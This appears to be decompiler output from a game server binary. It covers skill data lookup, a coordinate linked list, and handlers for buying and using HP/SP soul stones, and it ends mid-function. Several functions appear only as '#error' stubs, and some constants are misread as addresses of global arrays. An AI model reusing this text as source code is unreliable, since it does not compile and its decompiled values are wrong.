PassiveDataBox::sdb_Get(PassiveDataBox *this, int *sub) { CDataReader::HEAD *v2; // edx@2 char *v3; // ecx@2 PassiveSkillInfo *result; // eax@3 if ( *sub >= this->pdb_passivenumber ) { result = this->pdb_default; } else { v2 = this->pdb_databox.baseclass_0.baseclass_0.m_pHead; v3 = (char *)&this->pdb_databox; if ( *sub < v2->nNumOfRecord ) result = (PassiveSkillInfo *)CDataReader::GetRecord((CDataReader *)v3, *sub); else result = (PassiveSkillInfo *)(v3 + 60); } return result; } //----- (00516FB0) -------------------------------------------------------- void __thiscall SkillDataBox::SkillDataBox(SkillDataBox *this) { SkillDataBox *v1; // esi@1 v1 = this; SkillDataBox::__unnamed::__unnamed(&this->sdb_BinData.info.baseclass_0); v1->sdb_ValidArray = 0; } //----- (00516FD0) -------------------------------------------------------- char __cdecl SlantedCoordList::operator<(SlantedCoordList::CoordedNode *a, SlantedCoordList::CoordedNode *b) { SlantedCoordList::ObjectCoordNode *v2; // esi@1 int v3; // edi@1 v2 = b->cn_node; v3 = ((int (*)(void))a->cn_node->vfptr->ocn_Getlocation)(); return v3 - v2->vfptr->ocn_Getlocation(v2) < 0; } //----- (00517000) -------------------------------------------------------- #error "517000: undefined or illegal type '#331' (funcsize=4)" //----- (00517010) -------------------------------------------------------- int __thiscall SlantedCoordList::ObjectXCoordNode::ocn_type(SlantedCoordList::ObjectXCoordNode *this) { return 88; } //----- (00517020) -------------------------------------------------------- #error "517020: undefined or illegal type '#331' (funcsize=4)" //----- (00517030) -------------------------------------------------------- #error "517030: undefined or illegal type '#331' (funcsize=4)" //----- (00517040) -------------------------------------------------------- int __thiscall SlantedCoordList::ObjectYCoordNode::ocn_type(SlantedCoordList::ObjectYCoordNode *this) { return 89; } //----- (00517050) -------------------------------------------------------- #error "517050: undefined or illegal type '#331' (funcsize=4)" //----- (00517060) -------------------------------------------------------- void __thiscall SlantedCoordList::CoordedNode::CoordedNode(SlantedCoordList::CoordedNode *this) { SlantedCoordList::CoordedNode *v1; // eax@1 v1 = this; this->cn_node = 0; v1->cn_next = v1; v1->cn_prev = v1; } //----- (00517070) -------------------------------------------------------- char __thiscall SlantedCoordList::CoordedNode::cn_AppendList(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chainlist) { SlantedCoordList::CoordedNode *v2; // ebx@1 SlantedCoordList::CoordedNode *v3; // esi@1 SlantedCoordList::ObjectCoordNodeVtbl *v4; // edx@1 SlantedCoordList::ObjectCoordNode *v5; // edi@1 SlantedCoordList::ObjectCoordNodeVtbl *v6; // eax@9 SlantedCoordList::ObjectCoordNode *v7; // edi@9 int v8; // ebp@9 int v9; // eax@9 SlantedCoordList::ObjectCoordNodeVtbl *v10; // edx@9 SlantedCoordList::CoordedNode *v11; // eax@11 SlantedCoordList::ObjectCoordNode *v12; // edi@12 int v13; // eax@12 SlantedCoordList::ObjectCoordNodeVtbl *v14; // edx@12 SlantedCoordList::CoordedNode *v15; // edi@14 SlantedCoordList::ObjectCoordNode *v16; // ebp@14 int v17; // eax@14 SlantedCoordList::ObjectCoordNodeVtbl *v18; // edx@14 SlantedCoordList::CoordedNode *v19; // eax@16 SlantedCoordList::ObjectCoordNodeVtbl *v20; // eax@20 SlantedCoordList::ObjectCoordNode *v21; // ebp@20 int v22; // eax@20 SlantedCoordList::ObjectCoordNodeVtbl *v23; // edx@20 int v24; // eax@23 int v26; // eax@34 FunctionEntarance *v27; // ecx@40 char v28; // al@42 FunctionEntarance _; // [sp+10h] [bp-1Ch]@1 int prv; // [sp+14h] [bp-18h]@9 int nxt; // [sp+18h] [bp-14h]@9 int v32; // [sp+1Ch] [bp-10h]@9 int v33; // [sp+28h] [bp-4h]@1 int chainlistc; // [sp+30h] [bp+4h]@1 signed int chainlista; // [sp+30h] [bp+4h]@9 signed int chainlistb; // [sp+30h] [bp+4h]@14 v2 = this; _.fe_FunctionCode = "SlantedCoordList::CoordedNode::cn_AppendList"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_AppendList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlantedCoordList::CoordedNode::cn_AppendList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = chainlist; v4 = chainlist->cn_node->vfptr; v5 = v2->cn_node; v33 = 0; chainlistc = ((int (*)(void))v4->ocn_type)(); if ( v5->vfptr->ocn_type(v5) != chainlistc ) { AssertClass::ac_AssertFail( &shineassert, "SlantedCoordList::CoordedNode::cn_AppendList : List between wrong type", 0); v33 = -1; LABEL_27: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_AppendList"); return 0; } if ( v2->cn_prev != v2 || v2->cn_next != v2 ) { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_AppendList : appendlink on object in list", 0); v33 = -1; goto LABEL_27; } if ( v3->cn_prev == v3 && v3->cn_next == v3 ) { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_AppendList : appendlink to not in list", 0); v33 = -1; goto LABEL_27; } v6 = v3->cn_node->vfptr; v7 = v2->cn_node; v8 = 0; nxt = 0; prv = 0; chainlista = 10000; v9 = ((int (*)(void))v6->ocn_Getlocation)(); v10 = v7->vfptr; v32 = v9; if ( v9 - v10->ocn_Getlocation(v7) > 0 ) { while ( 1 ) { --chainlista; if ( chainlista < 0 ) break; v11 = v3->cn_prev; if ( v3 == v11 ) { prv = v8; AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_AppendList : Infinite Loop!!!", 0); goto LABEL_26; } v12 = v2->cn_node; v3 = v3->cn_prev; ++v8; v13 = ((int (*)(void))v11->cn_node->vfptr->ocn_Getlocation)(); v14 = v12->vfptr; v32 = v13; if ( v13 - v14->ocn_Getlocation(v12) <= 0 ) { prv = v8; goto LABEL_14; } } prv = v8; LABEL_26: v33 = -1; goto LABEL_27; } LABEL_14: v15 = v3->cn_next; v16 = v15->cn_node; chainlistb = 10000; v17 = ((int (*)(void))v2->cn_node->vfptr->ocn_Getlocation)(); v18 = v16->vfptr; v32 = v17; if ( v17 - v18->ocn_Getlocation(v16) > 0 ) { do { --chainlistb; if ( chainlistb < 0 ) goto LABEL_40; v19 = v15->cn_next; if ( v15 == v19 ) { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_AppendList : Infinite Loop!!!", 0); goto LABEL_40; } v3 = v3->cn_next; v15 = v15->cn_next; if ( v3->cn_next != v19 || v19->cn_prev != v3 ) AssertClass::ac_AssertFail(&shineassert, "SlantedCoordList::CoordedNode::cn_AppendList : Next & Prev split", 0); v20 = v2->cn_node->vfptr; ++nxt; v21 = v15->cn_node; v22 = ((int (*)(void))v20->ocn_Getlocation)(); v23 = v21->vfptr; v32 = v22; } while ( v22 - v23->ocn_Getlocation(v21) > 0 ); } v24 = !prv || !nxt; if ( AssertClass::operator__(&shineassert, v24, "CoordedNode::cn_AppendList : Pointer is wandering", 0) || !SlantedCoordList::CoordedNode::cn_IsValid(v3) || (v3->cn_next != v15 || v15->cn_prev != v3 ? (v26 = 0) : (v26 = 1), AssertClass::operator__(&shineassert, v26, "SlantedCoordList::CoordedNode::cn_AppendList : List damaged", 0) || !SlantedCoordList::CoordedNode::cn_IsValid(v15) || (v2->cn_prev = v3, v2->cn_next = v15, v15->cn_prev = v2, v3->cn_next = v2, !SlantedCoordList::CoordedNode::cn_IsValid(v3)) || !SlantedCoordList::CoordedNode::cn_IsValid(v2)) ) { LABEL_40: v33 = -1; v27 = &_; LABEL_41: FunctionEntarance::_FunctionEntarance(v27); return 0; } v28 = SlantedCoordList::CoordedNode::cn_IsValid(v15); v27 = &_; v33 = -1; if ( !v28 ) goto LABEL_41; FunctionEntarance::_FunctionEntarance(&_); return 1; } //----- (005173B0) -------------------------------------------------------- void __thiscall SlantedCoordList::CoordedNode::cn_MakeLink(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chain) { SlantedCoordList::CoordedNode *v2; // esi@1 SlantedCoordList::CoordedNode *v3; // edi@1 SlantedCoordList::ObjectCoordNode *v4; // ebx@4 SlantedCoordList::ObjectCoordNode *v5; // ebx@15 SlantedCoordList::CoordedNode *v6; // ebx@16 int chaina; // [sp+20h] [bp+4h]@4 int chainb; // [sp+20h] [bp+4h]@15 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlantedCoordList::CoordedNode::cn_MakeLink"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = chain; if ( chain == v2 ) { AssertClass::ac_AssertFail( &shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink : List between same object", chain != v2); ShineExit("SlantedCoordList::CoordedNode::cn_MakeLink"); } v4 = v2->cn_node; chaina = ((int (*)(void))chain->cn_node->vfptr->ocn_type)(); if ( v4->vfptr->ocn_type(v4) != chaina ) { AssertClass::ac_AssertFail(&shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink : List between wrong type", 0); ShineExit("SlantedCoordList::CoordedNode::cn_MakeLink"); } if ( v2->cn_prev != v2 || v3->cn_prev != v3 ) { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_MakeLink : makelink on object in list", 0); ShineExit("SlantedCoordList::CoordedNode::cn_MakeLink"); } if ( v2->cn_next != v2 || v3->cn_next != v3 ) { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_MakeLink : makelink on object in list", 0); ShineExit("SlantedCoordList::CoordedNode::cn_MakeLink"); } v5 = v3->cn_node; chainb = ((int (*)(void))v2->cn_node->vfptr->ocn_Getlocation)(); if ( chainb - v5->vfptr->ocn_Getlocation(v5) >= 0 ) { v6 = v3; } else { v6 = v2; v2 = v3; } if ( ((int (*)(void))v6->cn_node->vfptr->ocn_Getlocation)() || (char *)((int (*)(void))v2->cn_node->vfptr->ocn_Getlocation)() != &wholesaver.ws_savestore[109].esc_skill.buffer[9219] ) { AssertClass::ac_AssertFail(&shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink : invalid location", 0); ShineExit("SlantedCoordList::CoordedNode::cn_MakeLink"); } v6->cn_next = v2; v2->cn_prev = v6; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink"); } //----- (00517560) -------------------------------------------------------- void __thiscall SlantedCoordList::CoordedNode::cn_MakeLink2(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chain) { SlantedCoordList::CoordedNode *v2; // esi@1 SlantedCoordList::CoordedNode *v3; // edi@1 SlantedCoordList::ObjectCoordNode *v4; // ebx@3 SlantedCoordList::CoordedNode *v5; // ebx@11 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v7; // [sp+1Ch] [bp-4h]@1 int chaina; // [sp+24h] [bp+4h]@3 v2 = this; _.fe_FunctionCode = "SlantedCoordList::CoordedNode::cn_MakeLink2"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlantedCoordList::CoordedNode::cn_MakeLink2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = chain; v7 = 0; if ( chain == v2 ) { AssertClass::ac_AssertFail( &shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink2 : List between same object", chain != v2); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink2"); } else { v4 = chain->cn_node; chaina = ((int (*)(void))v2->cn_node->vfptr->ocn_type)(); if ( chaina == v4->vfptr->ocn_type(v4) ) { if ( v2->cn_prev == v2 && v3->cn_prev == v3 && v2->cn_next == v2 && v3->cn_next == v3 ) { if ( SlantedCoordList::operator<(v2, v3) ) { v5 = v2; v2 = v3; } else { v5 = v3; } if ( ((int (*)(void))v5->cn_node->vfptr->ocn_Getlocation)() || (char *)((int (*)(void))v2->cn_node->vfptr->ocn_Getlocation)() != &wholesaver.ws_savestore[109].esc_skill.buffer[9219] ) { AssertClass::ac_AssertFail(&shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink2 : invalid location", 0); } else { v5->cn_next = v2; v2->cn_prev = v5; } v7 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_MakeLink2 : makelink on object in list", 0); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink2"); } } else { AssertClass::ac_AssertFail( &shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink2 : List between wrong type", 0); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink2"); } } } //----- (00517730) -------------------------------------------------------- #error "517730: undefined or illegal type '#331' (funcsize=96)" //----- (00517890) -------------------------------------------------------- #error "517890: undefined or illegal type '#440' (funcsize=223)" //----- (00517B80) -------------------------------------------------------- #error "517B80: undefined or illegal type '#331' (funcsize=80)" //----- (00517CA0) -------------------------------------------------------- #error "517CA0: undefined or illegal type '#331' (funcsize=68)" //----- (00517D90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HPStoneUse(void *this) { void *v1; // esi@1 char *v2; // eax@1 __int16 v3; // dx@1 int v4; // ST10_4@1 int v5; // eax@1 int v6; // edx@1 unsigned int v7; // eax@1 unsigned __int16 v8; // di@1 int v9; // eax@1 int v10; // eax@2 signed int v11; // edx@4 int v12; // edi@4 unsigned int v13; // eax@4 int v14; // ecx@4 int v15; // ST04_4@6 int v16; // eax@6 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@1 int v18; // [sp+28h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HPStoneUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HPStoneUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 20491; v3 = *((_WORD *)v1 + 2); v18 = 0; *((_WORD *)v2 + 1) = v3; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v4 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v18) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v18) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 772))(v1, 20, 8); v6 = *(_DWORD *)v1; *((_DWORD *)v1 + 16508) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; v7 = clockwatch.cw_CurrTick + 70; --*((_WORD *)v1 + 16046); *((_DWORD *)v1 + 16507) = v7; v8 = (unsigned __int8)(*(int (__thiscall **)(void *))(v6 + 1220))(v1); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1160))(v1); if ( v8 > 0x96u ) v10 = *(_DWORD *)(v9 + 67672); else v10 = *(_DWORD *)(v9 + 4 * v8 + 67672); v11 = (signed int)((unsigned __int64)(*(_DWORD *)(v10 + 28) * *((_WORD *)v1 + 45851) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v12 = v11 + ((unsigned int)v11 >> 31); ShineObjectClass::ShinePlayer::sp_HPChangeCheck( v1, v11 + ((unsigned int)v11 >> 31), 1, (int)"ShineObjectClass::ShinePlayer::sp_HPStoneUse"); v13 = *((_DWORD *)v1 + 932); v14 = v12 + *((_DWORD *)v1 + 8024); *((_DWORD *)v1 + 8024) = v14; if ( v14 >= v13 ) *((_DWORD *)v1 + 8024) = v13; v15 = *(_DWORD *)((char *)v1 + 78); v16 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v1, v16, v15, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HPStoneUse"); } //----- (00517F50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SPStoneUse(void *this) { void *v1; // esi@1 char *v2; // eax@1 __int16 v3; // dx@1 int v4; // ST10_4@1 int v5; // eax@1 int v6; // edx@1 unsigned int v7; // eax@1 unsigned __int16 v8; // di@1 int v9; // eax@1 int v10; // eax@2 unsigned int v11; // edi@4 unsigned int v12; // eax@4 int v13; // ST04_4@6 int v14; // eax@6 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@1 int v16; // [sp+28h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SPStoneUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SPStoneUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 20492; v3 = *((_WORD *)v1 + 2); v16 = 0; *((_WORD *)v2 + 1) = v3; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v4 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v16) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v16) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 772))(v1, 20, 10); v6 = *(_DWORD *)v1; *((_DWORD *)v1 + 16510) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; v7 = clockwatch.cw_CurrTick + 70; --*((_WORD *)v1 + 16047); *((_DWORD *)v1 + 16509) = v7; v8 = (unsigned __int8)(*(int (__thiscall **)(void *))(v6 + 1220))(v1); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1160))(v1); if ( v8 > 0x96u ) v10 = *(_DWORD *)(v9 + 67672); else v10 = *(_DWORD *)(v9 + 4 * v8 + 67672); v11 = ((signed int)((unsigned __int64)(*(_DWORD *)(v10 + 40) * *((_WORD *)v1 + 45852) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(*(_DWORD *)(v10 + 40) * *((_WORD *)v1 + 45852) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31) + *((_DWORD *)v1 + 8025); v12 = *((_DWORD *)v1 + 933); *((_DWORD *)v1 + 8025) = v11; if ( v11 >= v12 ) *((_DWORD *)v1 + 8025) = v12; v13 = *(_DWORD *)((char *)v1 + 78); v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v1, v14, v13, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SPStoneUse"); } //----- (00518110) -------------------------------------------------------- void __cdecl ShineObjectClass::ShinePlayer::sp_PointStone_NotInit() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_PointStone_NotInit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_PointStone_NotInit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_PointStone_NotInit"); } //----- (00518150) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HPStoneReserv(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HPStoneReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HPStoneReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_DWORD *)v1 + 16507) <= clockwatch.cw_CurrTick ) { if ( *((_WORD *)v1 + 16046) && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1236))(v1) && !(unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 40))(v1) ) ShineObjectClass::ShinePlayer::sp_HPStoneUse(v1); else *((_DWORD *)v1 + 16508) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HPStoneReserv"); } //----- (00518220) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SPStoneReserv(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SPStoneReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SPStoneReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_DWORD *)v1 + 16509) <= clockwatch.cw_CurrTick ) { if ( *((_WORD *)v1 + 16047) ) ShineObjectClass::ShinePlayer::sp_SPStoneUse(v1); else *((_DWORD *)v1 + 16510) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SPStoneReserv"); } //----- (005182E0) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ(int a1, int a2, int netcmd, int len, __int16 handle) { int v5; // esi@1 unsigned __int16 v6; // di@5 int v7; // eax@5 int v8; // edi@6 int v9; // eax@8 int v10; // [sp+24h] [bp-4h]@1 v5 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; if ( !(_S4_19 & 1) ) { _S4_19 |= 1u; cmc_94.cmc_AllowMode = 70; atexit(_E5_67); } if ( (1 << **(_BYTE **)(v5 + 3716)) & cmc_94.cmc_AllowMode ) { v6 = (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)v5 + 1220))(v5, a2); v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1160))(v5); if ( v6 > 0x96u ) v8 = *(_DWORD *)(v7 + 67672); else v8 = *(_DWORD *)(v7 + 4 * v6 + 67672); v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1916))(v5); (*(void (__thiscall **)(int))(*(_DWORD *)v9 + 80))(v9); ShineObjectClass::ShinePlayer::sp_PointStoneBuy(v5, v8 + 28, *(_WORD *)(v5 + 32092), *(_WORD *)(netcmd + 2), 0); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); } else { --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); } } //----- (00518460) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_BUY_REQ(int a1, int a2, int netcmd, int len, __int16 handle) { int v5; // esi@1 unsigned __int16 v6; // di@5 int v7; // eax@5 int v8; // edi@6 int v9; // eax@8 int v10; // [sp+24h] [bp-4h]@1 v5 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; if ( !(_S6_68 & 1) ) { _S6_68 |= 1u; cmc_95.cmc_AllowMode = 70; atexit(_E7_52); } if ( (1 << **(_BYTE **)(v5 + 3716)) & cmc_95.cmc_AllowMode ) { v6 = (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)v5 + 1220))(v5, a2); v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1160))(v5); if ( v6 > 0x96u ) v8 = *(_DWORD *)(v7 + 67672); else v8 = *(_DWORD *)(v7 + 4 * v6 + 67672); v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1916))(v5); (*(void (__thiscall **)(int))(*(_DWORD *)v9 + 80))(v9); ShineObjectClass::ShinePlayer::sp_PointStoneBuy(v5, v8 + 40, *(_WORD *)(v5 + 32094), *(_WORD *)(netcmd + 2), 1); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); } else { --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); } } //----- (005185E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // eax@8 int v6; // eax@12 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v8; // [sp+14h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; if ( !(_S10_14 & 1) ) { _S10_14 |= 1u; cmc_96.cmc_AllowMode = 86; atexit(_E11_28); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_96.cmc_AllowMode) ) goto LABEL_28; if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14442) + 16))((char *)v4 + 57768) ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 772))(v4, 20, 6); LABEL_25: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ"); return; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2440))(v4) ) { LABEL_28: (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 772))(v4, 20, 6); goto LABEL_25; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 || !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 165) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 772))(v4, 20, 6); goto LABEL_25; } if ( !(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1236))(v4) || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 40))(v4) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 772))(v4, 20, 6); v8 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { v6 = *(_DWORD *)((char *)v4 + 98); if ( v6 && *(_BYTE *)(*(_DWORD *)(v6 + 12) + 158) && *((_DWORD *)v4 + 8024) < *((_DWORD *)v4 + 932) ) { if ( *((_DWORD *)v4 + 16507) <= clockwatch.cw_CurrTick ) { if ( *((_WORD *)v4 + 16046) ) { ShineObjectClass::ShinePlayer::sp_HPStoneUse(v4); v8 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { (*(void (__thiscall **)(_DWORD, _DWORD, 